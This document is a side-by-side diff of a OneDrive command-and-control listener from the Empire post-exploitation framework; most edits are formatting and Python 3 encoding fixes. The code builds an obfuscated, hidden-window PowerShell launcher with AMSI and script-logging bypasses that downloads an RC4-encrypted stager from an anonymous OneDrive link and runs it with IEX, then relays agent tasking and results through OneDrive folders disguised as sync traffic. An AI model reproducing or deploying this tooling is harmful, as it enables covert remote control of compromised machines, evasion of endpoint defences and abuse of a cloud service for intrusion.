13 | 13 |
from pydispatch import dispatcher
|
14 | 14 |
from requests import Request, Session
|
15 | 15 |
|
16 | |
#Empire imports
|
|
16 |
# Empire imports
|
17 | 17 |
from lib.common import helpers
|
18 | 18 |
from lib.common import agents
|
19 | 19 |
from lib.common import encryption
|
|
21 | 21 |
from lib.common import messages
|
22 | 22 |
from lib.common import bypasses
|
23 | 23 |
|
|
24 |
|
24 | 25 |
class Listener(object):
|
25 | 26 |
def __init__(self, mainMenu, params=[]):
|
26 | 27 |
self.info = {
|
27 | |
'Name': 'Onedrive',
|
28 | |
'Author': ['@mr64bit'],
|
29 | |
'Description': ('Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9'),
|
30 | |
'Category': ('third_party'),
|
31 | |
'Comments': ["Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"]
|
32 | |
}
|
|
28 |
'Name': 'Onedrive',
|
|
29 |
'Author': ['@mr64bit'],
|
|
30 |
'Description': (
|
|
31 |
'Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9'),
|
|
32 |
'Category': ('third_party'),
|
|
33 |
'Comments': ["Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"]
|
|
34 |
}
|
33 | 35 |
|
34 | 36 |
self.options = {
|
35 | |
'Name' : {
|
36 | |
'Description' : 'Name for the listener.',
|
37 | |
'Required' : True,
|
38 | |
'Value' : 'onedrive'
|
39 | |
},
|
40 | |
'ClientID' : {
|
41 | |
'Description' : 'Application ID of the OAuth App.',
|
42 | |
'Required' : True,
|
43 | |
'Value' : ''
|
44 | |
},
|
45 | |
'ClientSecret' : {
|
46 | |
'Description' : 'Client secret of the OAuth App.',
|
47 | |
'Required' : True,
|
48 | |
'Value' : ''
|
49 | |
},
|
50 | |
'AuthCode' : {
|
51 | |
'Description' : 'Auth code given after authenticating OAuth App.',
|
52 | |
'Required' : True,
|
53 | |
'Value' : ''
|
54 | |
},
|
55 | |
'BaseFolder' : {
|
56 | |
'Description' : 'The base Onedrive folder to use for comms.',
|
57 | |
'Required' : True,
|
58 | |
'Value' : 'empire'
|
59 | |
},
|
60 | |
'StagingFolder' : {
|
61 | |
'Description' : 'The nested Onedrive staging folder.',
|
62 | |
'Required' : True,
|
63 | |
'Value' : 'staging'
|
64 | |
},
|
65 | |
'TaskingsFolder' : {
|
66 | |
'Description' : 'The nested Onedrive taskings folder.',
|
67 | |
'Required' : True,
|
68 | |
'Value' : 'taskings'
|
69 | |
},
|
70 | |
'ResultsFolder' : {
|
71 | |
'Description' : 'The nested Onedrive results folder.',
|
72 | |
'Required' : True,
|
73 | |
'Value' : 'results'
|
74 | |
},
|
75 | |
'Launcher' : {
|
76 | |
'Description' : 'Launcher string.',
|
77 | |
'Required' : True,
|
78 | |
'Value' : 'powershell -noP -sta -w 1 -enc '
|
79 | |
},
|
80 | |
'StagingKey' : {
|
81 | |
'Description' : 'Staging key for intial agent negotiation.',
|
82 | |
'Required' : True,
|
83 | |
'Value' : 'asdf'
|
84 | |
},
|
85 | |
'PollInterval' : {
|
86 | |
'Description' : 'Polling interval (in seconds) to communicate with Onedrive.',
|
87 | |
'Required' : True,
|
88 | |
'Value' : '5'
|
89 | |
},
|
90 | |
'DefaultDelay' : {
|
91 | |
'Description' : 'Agent delay/reach back interval (in seconds).',
|
92 | |
'Required' : True,
|
93 | |
'Value' : 60
|
94 | |
},
|
95 | |
'DefaultJitter' : {
|
96 | |
'Description' : 'Jitter in agent reachback interval (0.0-1.0).',
|
97 | |
'Required' : True,
|
98 | |
'Value' : 0.0
|
99 | |
},
|
100 | |
'DefaultLostLimit' : {
|
101 | |
'Description' : 'Number of missed checkins before exiting',
|
102 | |
'Required' : True,
|
103 | |
'Value' : 10
|
104 | |
},
|
105 | |
'DefaultProfile' : {
|
106 | |
'Description' : 'Default communication profile for the agent.',
|
107 | |
'Required' : True,
|
108 | |
'Value' : "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)"
|
109 | |
},
|
110 | |
'KillDate' : {
|
111 | |
'Description' : 'Date for the listener to exit (MM/dd/yyyy).',
|
112 | |
'Required' : False,
|
113 | |
'Value' : ''
|
114 | |
},
|
115 | |
'WorkingHours' : {
|
116 | |
'Description' : 'Hours for the agent to operate (09:00-17:00).',
|
117 | |
'Required' : False,
|
118 | |
'Value' : ''
|
119 | |
},
|
120 | |
'RefreshToken' : {
|
121 | |
'Description' : 'Refresh token used to refresh the auth token',
|
122 | |
'Required' : False,
|
123 | |
'Value' : ''
|
124 | |
},
|
125 | |
'RedirectURI' : {
|
126 | |
'Description' : 'Redirect URI of the registered application',
|
127 | |
'Required' : True,
|
128 | |
'Value' : "https://login.live.com/oauth20_desktop.srf"
|
129 | |
},
|
130 | |
'SlackToken' : {
|
131 | |
'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
|
132 | |
'Required' : False,
|
133 | |
'Value' : ''
|
134 | |
},
|
135 | |
'SlackChannel' : {
|
136 | |
'Description' : 'The Slack channel or DM that notifications will be sent to.',
|
137 | |
'Required' : False,
|
138 | |
'Value' : '#general'
|
|
37 |
'Name': {
|
|
38 |
'Description': 'Name for the listener.',
|
|
39 |
'Required': True,
|
|
40 |
'Value': 'onedrive'
|
|
41 |
},
|
|
42 |
'ClientID': {
|
|
43 |
'Description': 'Application ID of the OAuth App.',
|
|
44 |
'Required': True,
|
|
45 |
'Value': ''
|
|
46 |
},
|
|
47 |
'ClientSecret': {
|
|
48 |
'Description': 'Client secret of the OAuth App.',
|
|
49 |
'Required': True,
|
|
50 |
'Value': ''
|
|
51 |
},
|
|
52 |
'AuthCode': {
|
|
53 |
'Description': 'Auth code given after authenticating OAuth App.',
|
|
54 |
'Required': True,
|
|
55 |
'Value': ''
|
|
56 |
},
|
|
57 |
'BaseFolder': {
|
|
58 |
'Description': 'The base Onedrive folder to use for comms.',
|
|
59 |
'Required': True,
|
|
60 |
'Value': 'empire'
|
|
61 |
},
|
|
62 |
'StagingFolder': {
|
|
63 |
'Description': 'The nested Onedrive staging folder.',
|
|
64 |
'Required': True,
|
|
65 |
'Value': 'staging'
|
|
66 |
},
|
|
67 |
'TaskingsFolder': {
|
|
68 |
'Description': 'The nested Onedrive taskings folder.',
|
|
69 |
'Required': True,
|
|
70 |
'Value': 'taskings'
|
|
71 |
},
|
|
72 |
'ResultsFolder': {
|
|
73 |
'Description': 'The nested Onedrive results folder.',
|
|
74 |
'Required': True,
|
|
75 |
'Value': 'results'
|
|
76 |
},
|
|
77 |
'Launcher': {
|
|
78 |
'Description': 'Launcher string.',
|
|
79 |
'Required': True,
|
|
80 |
'Value': 'powershell -noP -sta -w 1 -enc '
|
|
81 |
},
|
|
82 |
'StagingKey': {
|
|
83 |
'Description': 'Staging key for intial agent negotiation.',
|
|
84 |
'Required': True,
|
|
85 |
'Value': 'asdf'
|
|
86 |
},
|
|
87 |
'PollInterval': {
|
|
88 |
'Description': 'Polling interval (in seconds) to communicate with Onedrive.',
|
|
89 |
'Required': True,
|
|
90 |
'Value': '5'
|
|
91 |
},
|
|
92 |
'DefaultDelay': {
|
|
93 |
'Description': 'Agent delay/reach back interval (in seconds).',
|
|
94 |
'Required': True,
|
|
95 |
'Value': 10
|
|
96 |
},
|
|
97 |
'DefaultJitter': {
|
|
98 |
'Description': 'Jitter in agent reachback interval (0.0-1.0).',
|
|
99 |
'Required': True,
|
|
100 |
'Value': 0.0
|
|
101 |
},
|
|
102 |
'DefaultLostLimit': {
|
|
103 |
'Description': 'Number of missed checkins before exiting',
|
|
104 |
'Required': True,
|
|
105 |
'Value': 10
|
|
106 |
},
|
|
107 |
'DefaultProfile': {
|
|
108 |
'Description': 'Default communication profile for the agent.',
|
|
109 |
'Required': True,
|
|
110 |
'Value': "N/A|Microsoft SkyDriveSync 17.005.0107.0008 ship; Windows NT 10.0 (16299)"
|
|
111 |
},
|
|
112 |
'KillDate': {
|
|
113 |
'Description': 'Date for the listener to exit (MM/dd/yyyy).',
|
|
114 |
'Required': False,
|
|
115 |
'Value': ''
|
|
116 |
},
|
|
117 |
'WorkingHours': {
|
|
118 |
'Description': 'Hours for the agent to operate (09:00-17:00).',
|
|
119 |
'Required': False,
|
|
120 |
'Value': ''
|
|
121 |
},
|
|
122 |
'RefreshToken': {
|
|
123 |
'Description': 'Refresh token used to refresh the auth token',
|
|
124 |
'Required': False,
|
|
125 |
'Value': ''
|
|
126 |
},
|
|
127 |
'RedirectURI': {
|
|
128 |
'Description': 'Redirect URI of the registered application',
|
|
129 |
'Required': True,
|
|
130 |
'Value': "https://login.live.com/oauth20_desktop.srf"
|
|
131 |
},
|
|
132 |
'SlackToken': {
|
|
133 |
'Description': 'Your SlackBot API token to communicate with your Slack instance.',
|
|
134 |
'Required': False,
|
|
135 |
'Value': ''
|
|
136 |
},
|
|
137 |
'SlackChannel': {
|
|
138 |
'Description': 'The Slack channel or DM that notifications will be sent to.',
|
|
139 |
'Required': False,
|
|
140 |
'Value': '#general'
|
139 | 141 |
}
|
140 | 142 |
}
|
141 | 143 |
|
|
151 | 153 |
|
152 | 154 |
self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')]
|
153 | 155 |
|
154 | |
#If we don't have an OAuth code yet, give the user a URL to get it
|
155 | |
if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''):
|
|
156 |
# If we don't have an OAuth code yet, give the user a URL to get it
|
|
157 |
if (str(self.options['RefreshToken']['Value']).strip() == '') and (
|
|
158 |
str(self.options['AuthCode']['Value']).strip() == ''):
|
156 | 159 |
if (str(self.options['ClientID']['Value']).strip() == ''):
|
157 | 160 |
print(helpers.color("[!] ClientID needed to generate AuthCode URL!"))
|
158 | 161 |
return False
|
|
160 | 163 |
'response_type': 'code',
|
161 | 164 |
'redirect_uri': self.options['RedirectURI']['Value'],
|
162 | 165 |
'scope': 'files.readwrite offline_access'}
|
163 | |
req = Request('GET','https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params = params)
|
|
166 |
req = Request('GET', 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize', params=params)
|
164 | 167 |
prep = req.prepare()
|
165 | 168 |
print(helpers.color("[*] Get your AuthCode from \"%s\" and try starting the listener again." % prep.url))
|
166 | 169 |
return False
|
|
172 | 175 |
|
173 | 176 |
return True
|
174 | 177 |
|
175 | |
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
|
|
178 |
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default',
|
|
179 |
proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='',
|
|
180 |
listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False):
|
176 | 181 |
if not language:
|
177 | 182 |
print(helpers.color("[!] listeners/onedrive generate_launcher(): No language specified"))
|
178 | 183 |
|
179 | |
if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners):
|
|
184 |
if listenerName and (listenerName in self.threads) and (
|
|
185 |
listenerName in self.mainMenu.listeners.activeListeners):
|
180 | 186 |
listener_options = self.mainMenu.listeners.activeListeners[listenerName]['options']
|
181 | 187 |
staging_key = listener_options['StagingKey']['Value']
|
182 | 188 |
profile = listener_options['DefaultProfile']['Value']
|
|
189 | 195 |
results_folder = listener_options['ResultsFolder']['Value']
|
190 | 196 |
|
191 | 197 |
if language.startswith("power"):
|
192 | |
launcher = "$ErrorActionPreference = 'SilentlyContinue';" #Set as empty string for debugging
|
|
198 |
launcher = "$ErrorActionPreference = 'SilentlyContinue';" # Set as empty string for debugging
|
193 | 199 |
|
194 | 200 |
if safeChecks.lower() == 'true':
|
195 | 201 |
launcher = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
|
203 | 209 |
if AMSIBypass2:
|
204 | 210 |
launcher += bypasses.AMSIBypass2()
|
205 | 211 |
launcher += "};"
|
206 | |
launcher += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
|
212 |
launcher += helpers.randomize_capitalization(
|
|
213 |
"[System.Net.ServicePointManager]::Expect100Continue=0;")
|
207 | 214 |
|
208 | 215 |
launcher += helpers.randomize_capitalization("$wc=New-Object SYstem.Net.WebClient;")
|
209 | 216 |
|
|
219 | 226 |
|
220 | 227 |
if proxy.lower() != 'none':
|
221 | 228 |
if proxy.lower() == 'default':
|
222 | |
launcher += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
|
229 |
launcher += helpers.randomize_capitalization(
|
|
230 |
"$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;")
|
223 | 231 |
else:
|
224 | 232 |
launcher += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;")
|
225 | |
launcher += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';")
|
|
233 |
launcher += helpers.randomize_capitalization("$proxy.Address = '" + proxy.lower() + "';")
|
226 | 234 |
launcher += helpers.randomize_capitalization("$wc.Proxy = $proxy;")
|
227 | 235 |
if proxyCreds.lower() == "default":
|
228 | |
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
|
236 |
launcher += helpers.randomize_capitalization(
|
|
237 |
"$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;")
|
229 | 238 |
else:
|
230 | 239 |
username = proxyCreds.split(":")[0]
|
231 | 240 |
password = proxyCreds.split(":")[1]
|
232 | 241 |
domain = username.split("\\")[0]
|
233 | 242 |
usr = username.split("\\")[1]
|
234 | |
launcher += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
|
243 |
launcher += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
|
235 | 244 |
launcher += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
236 | 245 |
|
237 | 246 |
launcher += "$Script:Proxy = $wc.Proxy;"
|
|
241 | 250 |
launcher += ("'%s');" % staging_key)
|
242 | 251 |
|
243 | 252 |
# this is the minimized RC4 launcher code from rc4.ps1
|
244 | |
launcher += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
|
253 |
launcher += helpers.randomize_capitalization(
|
|
254 |
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};')
|
245 | 255 |
|
246 | 256 |
launcher += helpers.randomize_capitalization("$data=$wc.DownloadData('")
|
247 | 257 |
launcher += self.mainMenu.listeners.activeListeners[listenerName]['stager_url']
|
|
250 | 260 |
launcher += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
251 | 261 |
|
252 | 262 |
if obfuscate:
|
253 | |
launcher = helpers.obfuscate(self.mainMenu.installPath, launcher, obfuscationCommand=obfuscationCommand)
|
|
263 |
launcher = helpers.obfuscate(self.mainMenu.installPath, launcher,
|
|
264 |
obfuscationCommand=obfuscationCommand)
|
254 | 265 |
|
255 | 266 |
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
256 | 267 |
return helpers.powershell_launcher(launcher, launcher_cmd)
|
|
308 | 319 |
return helpers.enc_powershell(randomized_stager)
|
309 | 320 |
elif encrypt:
|
310 | 321 |
RC4IV = os.urandom(4)
|
311 | |
return RC4IV + encryption.rc4(RC4IV+staging_key, randomized_stager)
|
|
322 |
staging_key = staging_key.encode('UTF-8')
|
|
323 |
return RC4IV + encryption.rc4(RC4IV + staging_key, randomized_stager.encode('UTF-8'))
|
312 | 324 |
else:
|
313 | 325 |
return randomized_stager
|
314 | 326 |
|
315 | 327 |
else:
|
316 | 328 |
print(helpers.color("[!] Python agent not available for Onedrive"))
|
317 | 329 |
|
318 | |
def generate_comms(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None):
|
|
330 |
def generate_comms(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri,
|
|
331 |
language=None):
|
319 | 332 |
|
320 | 333 |
staging_key = listener_options['StagingKey']['Value']
|
321 | 334 |
base_folder = listener_options['BaseFolder']['Value']
|
|
327 | 340 |
return
|
328 | 341 |
|
329 | 342 |
if language.lower() == "powershell":
|
330 | |
#Function to generate a WebClient object with the required headers
|
|
343 |
# Function to generate a WebClient object with the required headers
|
331 | 344 |
token_manager = """
|
332 | 345 |
$Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)};
|
333 | 346 |
$script:GetWebClient = {
|
|
431 | 444 |
|
432 | 445 |
return token_manager + post_message + get_message
|
433 | 446 |
|
434 | |
def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language=None):
|
|
447 |
def generate_agent(self, listener_options, client_id, client_secret, token, refresh_token, redirect_uri,
|
|
448 |
language=None):
|
435 | 449 |
"""
|
436 | 450 |
Generate the agent code
|
437 | 451 |
"""
|
|
447 | 461 |
lost_limit = listener_options['DefaultLostLimit']['Value']
|
448 | 462 |
working_hours = listener_options['WorkingHours']['Value']
|
449 | 463 |
kill_date = listener_options['KillDate']['Value']
|
450 | |
b64_default_response = base64.b64encode(self.default_response())
|
|
464 |
b64_default_response = base64.b64encode(self.default_response().encode('UTF-8'))
|
451 | 465 |
|
452 | 466 |
if language == 'powershell':
|
453 | 467 |
f = open(self.mainMenu.installPath + "/data/agent/agent.ps1")
|
454 | 468 |
agent_code = f.read()
|
455 | 469 |
f.close()
|
456 | 470 |
|
457 | |
comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token, redirect_uri, language)
|
|
471 |
comms_code = self.generate_comms(listener_options, client_id, client_secret, token, refresh_token,
|
|
472 |
redirect_uri, language)
|
458 | 473 |
agent_code = agent_code.replace("REPLACE_COMMS", comms_code)
|
459 | 474 |
|
460 | 475 |
agent_code = helpers.strip_powershell_comments(agent_code)
|
461 | 476 |
|
462 | 477 |
agent_code = agent_code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay))
|
463 | 478 |
agent_code = agent_code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter))
|
464 | |
agent_code = agent_code.replace('$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"")
|
|
479 |
agent_code = agent_code.replace(
|
|
480 |
'$Profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"',
|
|
481 |
"$Profile = \"" + str(profile) + "\"")
|
465 | 482 |
agent_code = agent_code.replace('$LostLimit = 60', "$LostLimit = " + str(lost_limit))
|
466 | |
agent_code = agent_code.replace('$DefaultResponse = ""', '$DefaultResponse = "'+b64_default_response+'"')
|
|
483 |
agent_code = agent_code.replace('$DefaultResponse = ""',
|
|
484 |
'$DefaultResponse = "' + b64_default_response.decode('UTF-8') + '"')
|
467 | 485 |
|
468 | 486 |
if kill_date != "":
|
469 | 487 |
agent_code = agent_code.replace("$KillDate,", "$KillDate = '" + str(kill_date) + "',")
|
|
487 | 505 |
r_token['update'] = True
|
488 | 506 |
return r_token
|
489 | 507 |
except KeyError as e:
|
490 | |
print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])))
|
|
508 |
print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (
|
|
509 |
r.status_code, r.json()['error_codes'], r.json()['error_description'])))
|
491 | 510 |
raise
|
492 | 511 |
|
493 | 512 |
def renew_token(client_id, client_secret, refresh_token):
|
|
504 | 523 |
r_token['update'] = True
|
505 | 524 |
return r_token
|
506 | 525 |
except KeyError as e:
|
507 | |
print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])))
|
|
526 |
print(helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (
|
|
527 |
r.status_code, r.json()['error_codes'], r.json()['error_description'])))
|
508 | 528 |
raise
|
509 | 529 |
|
510 | 530 |
def test_token(token):
|
|
527 | 547 |
else:
|
528 | 548 |
message = "[*] {} folder already exists".format(base_folder)
|
529 | 549 |
signal = json.dumps({
|
530 | |
'print' : True,
|
|
550 |
'print': True,
|
531 | 551 |
'message': message
|
532 | 552 |
})
|
533 | 553 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
|
537 | 557 |
if not (item_object.status_code == 200):
|
538 | 558 |
print(helpers.color("[*] Creating %s/%s folder" % (base_folder, item)))
|
539 | 559 |
params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item}
|
540 | |
item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params)
|
|
560 |
item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']),
|
|
561 |
json=params)
|
541 | 562 |
else:
|
542 | 563 |
message = "[*] {}/{} already exists".format(base_folder, item)
|
543 | 564 |
signal = json.dumps({
|
544 | |
'print' : True,
|
|
565 |
'print': True,
|
545 | 566 |
'message': message
|
546 | 567 |
})
|
547 | 568 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
548 | 569 |
|
549 | 570 |
def upload_launcher():
|
550 | |
ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none')
|
551 | |
|
552 | |
r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
|
553 | |
data=ps_launcher, headers={"Content-Type": "text/plain"})
|
|
571 |
ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False,
|
|
572 |
userAgent='none', proxy='none', proxyCreds='none')
|
|
573 |
|
|
574 |
r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"),
|
|
575 |
data=ps_launcher, headers={"Content-Type": "text/plain"})
|
554 | 576 |
|
555 | 577 |
if r.status_code == 201 or r.status_code == 200:
|
556 | 578 |
item = r.json()
|
557 | 579 |
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
|
558 | |
json={"scope": "anonymous", "type": "view"},
|
559 | |
headers={"Content-Type": "application/json"})
|
|
580 |
json={"scope": "anonymous", "type": "view"},
|
|
581 |
headers={"Content-Type": "application/json"})
|
560 | 582 |
launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
|
561 | 583 |
|
562 | 584 |
def upload_stager():
|
563 | |
ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token'])
|
|
585 |
ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell',
|
|
586 |
token=token['access_token'])
|
564 | 587 |
r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"),
|
565 | |
data=ps_stager, headers={"Content-Type": "application/octet-stream"})
|
|
588 |
data=ps_stager, headers={"Content-Type": "application/octet-stream"})
|
566 | 589 |
if r.status_code == 201 or r.status_code == 200:
|
567 | 590 |
item = r.json()
|
568 | 591 |
r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']),
|
569 | |
json={"scope": "anonymous", "type": "view"},
|
570 | |
headers={"Content-Type": "application/json"})
|
|
592 |
json={"scope": "anonymous", "type": "view"},
|
|
593 |
headers={"Content-Type": "application/json"})
|
571 | 594 |
stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId']
|
572 | |
#Different domain for some reason?
|
|
595 |
# Different domain for some reason?
|
573 | 596 |
self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url
|
574 | 597 |
|
575 | 598 |
else:
|
576 | 599 |
print(helpers.color("[!] Something went wrong uploading stager"))
|
577 | 600 |
message = r.content
|
578 | 601 |
signal = json.dumps({
|
579 | |
'print' : True,
|
|
602 |
'print': True,
|
580 | 603 |
'message': message
|
581 | 604 |
})
|
582 | 605 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
|
603 | 626 |
token = renew_token(client_id, client_secret, refresh_token)
|
604 | 627 |
message = "[*] Refreshed auth token"
|
605 | 628 |
signal = json.dumps({
|
606 | |
'print' : True,
|
|
629 |
'print': True,
|
607 | 630 |
'message': message
|
608 | 631 |
})
|
609 | 632 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
|
611 | 634 |
token = get_token(client_id, client_secret, auth_code)
|
612 | 635 |
message = "[*] Got new auth token"
|
613 | 636 |
signal = json.dumps({
|
614 | |
'print' : True,
|
|
637 |
'print': True,
|
615 | 638 |
'message': message
|
616 | 639 |
})
|
617 | 640 |
dispatcher.send(signal, sender="listeners/onedrive")
|
|
621 | 644 |
setup_folders()
|
622 | 645 |
|
623 | 646 |
while True:
|
624 | |
#Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
|
|
647 |
# Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL
|
625 | 648 |
try:
|
626 | 649 |
if listener_name in list(self.mainMenu.listeners.activeListeners.keys()):
|
627 | 650 |
upload_stager()
|
|
634 | 657 |
|
635 | 658 |
while True:
|
636 | 659 |
time.sleep(int(poll_interval))
|
637 | |
try: #Wrap the whole loop in a try/catch so one error won't kill the listener
|
638 | |
if time.time() > token['expires_at']: #Get a new token if the current one has expired
|
|
660 |
try: # Wrap the whole loop in a try/catch so one error won't kill the listener
|
|
661 |
if time.time() > token['expires_at']: # Get a new token if the current one has expired
|
639 | 662 |
token = renew_token(client_id, client_secret, token['refresh_token'])
|
640 | 663 |
s.headers['Authorization'] = "Bearer " + token['access_token']
|
641 | 664 |
message = "[*] Refreshed auth token"
|
642 | 665 |
signal = json.dumps({
|
643 | |
'print' : True,
|
|
666 |
'print': True,
|
644 | 667 |
'message': message
|
645 | 668 |
})
|
646 | 669 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
647 | 670 |
upload_stager()
|
648 | 671 |
if token['update']:
|
649 | |
self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken", token['refresh_token'])
|
|
672 |
self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken",
|
|
673 |
token['refresh_token'])
|
650 | 674 |
token['update'] = False
|
651 | 675 |
|
652 | 676 |
search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder))
|
653 | |
for item in search.json()['children']: #Iterate all items in the staging folder
|
|
677 |
for item in search.json()['children']: # Iterate all items in the staging folder
|
654 | 678 |
try:
|
655 | 679 |
reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name'])
|
656 | 680 |
if not reg:
|
657 | 681 |
continue
|
658 | 682 |
agent_name, stage = reg.groups()
|
659 | |
if stage == '1': #Download stage 1, upload stage 2
|
660 | |
message = "[*] Downloading {}/{}/{} {}".format(base_folder, staging_folder, item['name'], item['size'])
|
|
683 |
if stage == '1': # Download stage 1, upload stage 2
|
|
684 |
message = "[*] Downloading {}/{}/{} {}".format(base_folder, staging_folder, item['name'],
|
|
685 |
item['size'])
|
661 | 686 |
signal = json.dumps({
|
662 | 687 |
'print': False,
|
663 | 688 |
'message': message
|
664 | 689 |
})
|
665 | 690 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
666 | 691 |
content = s.get(item['@microsoft.graph.downloadUrl']).content
|
667 | |
lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
|
668 | |
message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(base_folder, staging_folder, agent_name, str(len(return_val)))
|
669 | |
signal = json.dumps({
|
670 | |
'print': False,
|
671 | |
'message': message
|
672 | |
})
|
673 | |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
674 | |
s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val)
|
|
692 |
lang, return_val = \
|
|
693 |
self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0]
|
|
694 |
message = "[*] Uploading {}/{}/{}_2.txt, {} bytes".format(base_folder, staging_folder,
|
|
695 |
agent_name, str(len(return_val)))
|
|
696 |
signal = json.dumps({
|
|
697 |
'print': False,
|
|
698 |
'message': message
|
|
699 |
})
|
|
700 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
|
701 |
s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (
|
|
702 |
base_url, base_folder, staging_folder, agent_name), data=return_val)
|
675 | 703 |
message = "[*] Deleting {}/{}/{}".format(base_folder, staging_folder, item['name'])
|
676 | 704 |
signal = json.dumps({
|
677 | 705 |
'print': False,
|
|
680 | 708 |
dispatcher.send(signal, sender="listeners/onedrive/{}".format(listener_name))
|
681 | 709 |
